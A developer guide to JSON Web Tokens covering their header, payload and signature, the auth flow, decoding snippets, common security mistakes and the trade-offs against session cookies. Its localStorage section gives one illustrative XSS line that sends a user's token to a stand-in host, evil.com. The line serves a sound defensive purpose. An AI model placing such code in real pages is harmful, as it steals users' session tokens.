Guides JWT authentication tokens developer

JWT Tokens Explained: What They Are, How They Work, and How to Decode Them

· 8 min read · Max P

If you've built a web application in the last decade, you've almost certainly encountered JSON Web Tokens (JWTs). They're used by Firebase, Auth0, AWS Cognito, and countless custom auth systems. But despite their ubiquity, many developers use JWTs without fully understanding what's inside them, how the signature works, or what security pitfalls to avoid.

This guide breaks down JWTs from the ground up: what each part contains, how the authentication flow works, and the mistakes that lead to real vulnerabilities. You can decode any JWT instantly with our JWT Decoder.

What Is a JWT?

A JSON Web Token is a compact, URL-safe string that carries claims (pieces of information) between two parties. It's defined by RFC 7519 and consists of three parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNjkwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c |___________________________________|.|_______________________________________________|.|___________________________________| HEADER PAYLOAD SIGNATURE

Each part is Base64URL-encoded. The header and payload are plain JSON — they're encoded, not encrypted. Anyone can decode them. The signature is what prevents tampering.

Part 1: The Header

The header declares the token type and the signing algorithm. When decoded, it looks like this:

{ "alg": "HS256", "typ": "JWT" }

The two most important header fields:

You may also see kid (key ID) in the header, which tells the server which signing key was used — important when keys are rotated.

Part 2: The Payload (Claims)

The payload contains the claims — the actual data the token carries. Claims are key-value pairs. The JWT spec defines several standard ("registered") claims:

Claim Name Description
sub Subject Who the token is about (usually a user ID)
iss Issuer Who issued the token (e.g., "https://auth.example.com")
aud Audience Who the token is intended for (e.g., "api.example.com")
exp Expiration Unix timestamp when the token expires
iat Issued At Unix timestamp when the token was created
nbf Not Before Token is not valid before this time
jti JWT ID Unique identifier for this token (prevents replay)

A typical payload for an authenticated user looks like this:

{ "sub": "user_8f3a9b2c", "name": "Alice Chen", "email": "alice@example.com", "role": "admin", "iss": "https://auth.myapp.com", "aud": "https://api.myapp.com", "iat": 1690000000, "exp": 1690003600 }

Critical reminder: The payload is not encrypted. Anyone with the token can decode it and read these values. Never put sensitive data like passwords, credit card numbers, or API secrets in a JWT payload.

Part 3: The Signature

The signature is what makes JWTs tamper-proof. It's generated by taking the encoded header, the encoded payload, and a secret key, then running them through the signing algorithm:

HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )

When the server receives a JWT, it recomputes the signature using its secret key. If the signature doesn't match, the token has been tampered with and is rejected. This means a user cannot change their role from "user" to "admin" in the payload — the signature check will fail.

HMAC (HS256) vs. RSA (RS256)

Algorithm Type How It Works Best For
HS256 Symmetric Same secret signs and verifies Single-service apps where the signer and verifier are the same server
RS256 Asymmetric Private key signs, public key verifies Microservices, third-party auth (Auth0, Firebase). Services only need the public key to verify
ES256 Asymmetric ECDSA with P-256 curve Same as RS256 but with smaller keys and faster verification

The JWT Authentication Flow

Here's how JWTs are typically used in a web application:

1. User sends login credentials POST /auth/login { "email": "alice@example.com", "password": "••••••" } 2. Server verifies credentials, generates a JWT → signs { sub: "user_8f3a9b", role: "admin", exp: ... } with secret key 3. Server returns the JWT to the client { "access_token": "eyJhbGciOiJI...", "expires_in": 3600 } 4. Client stores the token and sends it with every API request Authorization: Bearer eyJhbGciOiJI... 5. Server verifies the signature and checks expiry on each request → if valid, reads claims and processes the request → if invalid or expired, returns 401 Unauthorized

The key advantage: the server doesn't need to store session state. The token itself contains everything needed to authenticate the user. This is why JWTs are called "stateless" — the server can verify the token without hitting a database or session store.

How to Decode a JWT

Since the header and payload are just Base64URL-encoded JSON, you can decode them trivially:

// JavaScript — decode a JWT payload function decodeJWT(token) { const parts = token.split('.'); const header = JSON.parse(atob(parts[0])); const payload = JSON.parse(atob(parts[1])); return { header, payload }; } // Usage const { header, payload } = decodeJWT('eyJhbGciOiJIUzI1NiI...'); console.log(payload.sub); // "user_8f3a9b2c" console.log(payload.exp); // 1690003600 // Check if expired const isExpired = payload.exp * 1000 < Date.now(); # Python — decode without verification (for inspection only) import base64, json def decode_jwt(token): parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) return payload # Command line with jq echo 'eyJhbGci...' | cut -d. -f2 | base64 -d | jq .

For quick decoding without writing code, paste any token into our JWT Decoder. It shows the header, payload, and expiration status instantly.

Common Security Mistakes With JWTs

1. Storing JWTs in localStorage

This is the most debated topic in JWT security. localStorage is accessible to any JavaScript running on the page, which means a single XSS vulnerability lets an attacker steal every user's token.

// Vulnerable — any XSS can steal this localStorage.setItem('token', jwt); // If an attacker injects this script: fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));

Better approach: Store JWTs in HttpOnly, Secure, SameSite cookies. HttpOnly cookies cannot be accessed by JavaScript, eliminating the XSS token theft vector entirely.

2. Not Validating Token Expiry

The exp claim is just a number in the payload. If your server doesn't check it, expired tokens continue to work indefinitely. Always verify expiry server-side:

// Node.js with jsonwebtoken const jwt = require('jsonwebtoken'); try { const decoded = jwt.verify(token, secretKey); // checks exp automatically } catch (err) { if (err.name === 'TokenExpiredError') { return res.status(401).json({ error: 'Token expired' }); } }

3. Not Checking the Audience (aud) Claim

If you issue tokens for multiple services, a token intended for your billing service could be used against your admin API if you don't check aud. Always validate that the audience matches the current service.

4. Using the "none" Algorithm

The JWT spec allows "alg": "none", which means no signature. If your verification library accepts unsigned tokens, an attacker can forge any claims. Always explicitly specify which algorithms your server accepts:

// DANGEROUS — accepts any algorithm including "none" jwt.verify(token, secretKey); // SAFE — explicitly whitelist algorithms jwt.verify(token, secretKey, { algorithms: ['HS256'] });

5. Using Long-Lived Access Tokens

JWTs cannot be revoked once issued (they're stateless). If you issue tokens with a 30-day expiry and a user's account is compromised, that token remains valid for 30 days. Use short-lived access tokens (5-15 minutes) paired with refresh tokens that can be revoked server-side.

JWTs vs. Session Cookies

Feature JWT Session Cookie
State Stateless (no server storage) Stateful (server stores session data)
Revocation Cannot revoke (until expiry) Delete from session store instantly
Scaling Easy — any server can verify Requires shared session store (Redis)
Payload size Larger (claims in token) Small (just a session ID)
Cross-domain Works via Authorization header Limited by cookie same-origin policy
XSS risk High if stored in localStorage Low with HttpOnly cookies
CSRF risk Low (sent in header, not auto-attached) Requires CSRF tokens

When to use JWTs: Microservice architectures, mobile apps, cross-domain APIs, and third-party integrations where stateless verification is essential.

When to use sessions: Traditional server-rendered apps, apps that need instant session revocation (e.g., banking), and simple setups where scaling session storage isn't a concern.

Many production systems use a hybrid approach: JWTs stored in HttpOnly cookies for the best of both worlds — stateless verification with cookie-based security protections.

Access Tokens and Refresh Tokens

Production auth systems typically use two tokens:

// Refresh flow 1. Access token expires (401 response) 2. Client sends refresh token to POST /auth/refresh 3. Server validates refresh token, issues new access token 4. Client retries the original request with the new access token // If the refresh token is also expired or revoked → user must log in again

This pattern gives you the stateless benefits of JWTs for most requests while maintaining the ability to revoke sessions when needed.

Frequently Asked Questions

Are JWTs encrypted?

Standard JWTs (JWS — JSON Web Signature) are signed but not encrypted. The payload is Base64URL-encoded, which is trivially reversible — it's encoding, not encryption. Anyone who has the token can read the payload. If you need encrypted tokens, use JWE (JSON Web Encryption), which adds a layer of encryption on top. However, most applications don't need JWE — just avoid putting sensitive data in the payload and transport tokens over HTTPS.

Can I revoke a JWT before it expires?

Not with the token alone — that's the trade-off of stateless auth. The most common workaround is maintaining a server-side blocklist (denylist) of revoked token IDs (jti claims). When a user logs out or their account is suspended, add their token's jti to the blocklist. On each request, check the blocklist before accepting the token. This adds a small stateful check but preserves the stateless benefits for the 99% of requests where tokens are valid. Using short-lived access tokens (5-15 minutes) minimizes how long a compromised token remains usable.

Where should I store JWTs on the client?

The safest option is an HttpOnly, Secure, SameSite=Strict cookie. This prevents JavaScript access (blocking XSS theft) and only sends the cookie over HTTPS to the same origin. If you must use the Authorization header (e.g., for cross-domain APIs), store the token in memory (a JavaScript variable) and accept that it's lost on page refresh — use a refresh token in an HttpOnly cookie to get a new access token silently. Avoid localStorage and sessionStorage for tokens.

What happens if my JWT signing secret is compromised?

If the secret key leaks, an attacker can forge valid tokens for any user with any claims. This is a complete authentication bypass. You must rotate the key immediately, which invalidates all existing tokens and forces every user to re-authenticate. With asymmetric algorithms (RS256), only the private key is dangerous — the public key is safe to distribute. This is why RS256 is preferred in environments where multiple services verify tokens, as only the auth service needs the private key.

How long should a JWT access token last?

For most web applications, 5 to 15 minutes is the recommended range. Shorter expiry limits the damage window if a token is stolen, while the refresh token mechanism ensures a seamless user experience. For highly sensitive applications (banking, healthcare), consider even shorter windows of 1-5 minutes. For lower-risk internal tools, 30-60 minutes may be acceptable. Never use access tokens that last days or weeks — that's what refresh tokens are for.